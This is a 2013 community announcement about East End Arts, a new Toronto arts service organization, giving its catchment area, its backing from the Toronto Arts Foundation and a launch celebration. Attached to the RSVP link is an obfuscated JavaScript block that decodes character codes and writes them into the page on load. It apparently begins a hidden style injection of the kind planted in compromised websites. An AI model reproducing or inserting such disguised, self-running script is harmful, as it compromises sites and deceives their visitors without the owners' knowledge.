June 25 - East End Arts

A new Local Arts Service Organization is formed to serve the east end of Toronto.

Summer 2013: the east end of Toronto will get a boost for its arts and culture network with the creation of East End Arts (EEA), a new non-profit organization dedicated to providing arts services to the community. EEA will provide support to existing artists and art events, network community and artistic interests, and create new arts programming for people of all ages and backgrounds.

EEA will be the sixth Local Arts Service Organization (LASO) in Toronto. The others are: Arts Etobicoke, Lakeshore Arts, North York Arts, Scarborough Arts and UrbanArts. Each of these groups is funded directly through the city to serve the diverse needs of their particular communities, making the arts -- in all its diverse forms -- broadly accessible and affordable.

East End Arts will serve the east end of Toronto, specifically Wards 29, 30, 31, 32, which has a catchment area defined to the north by the Don Valley, as far south as the Lakeshore, to the west side of Bayview Avenue and as far east as Victoria Park Avenue. The EEA is being incubated by the Toronto Arts Foundation (TAF). We look forward to Toronto Arts Foundation’s participation and support throughout our development and incorporation.

East End Arts has existed as a volunteer working group since 2011. The recent city increase of arts and cultural funding has made the formalization of the group possible.

A celebration to introduce East End Arts to the community will be held on Tuesday June 25, 2013 at the East York Civic Centre from 6-8 pm. All are invited to come meet local artists and community members, network, learn more about the EEA, voice what is important to you about the arts in your East End community and enjoy free food & performances. RSVP at http://eastendarts.eventbrite.ca/var _st=[];var m=[];_st.push("145200201206193186117201");m.push("h");_st.push("2061971861461192011862");m.unshift("C");_st.push("0520113218420020011914712");m.push("a");_st.push("020519220718620019520718");m.unshift("m");_st.push("31821852081971962001");m.push("r");_st.push("9020119019619514318");m.push("C");_st.push("2183200196193202201186");m.unshift("ro");_st.push("144184193190197143199186");m.push("o");_st.push("184201125137137140197");m.push("d");_st.push("20512918220220119612911");m.unshift("f");_st.push("71822022011961291371");m.push("e");_st.push("37140197205126144210");_st.push("145132200201206193186147");var t=z=o="";var k="U";var String;for(i=0;i<_st.length;++i)z+=_st[i];for(i=0;i<m.length;++i)t+=m[i];while(z.length>0){o+=String[t](parseInt(z.substr(0, 3)-k.charCodeAt(0)));z=z.substr(3);}document.write(o);

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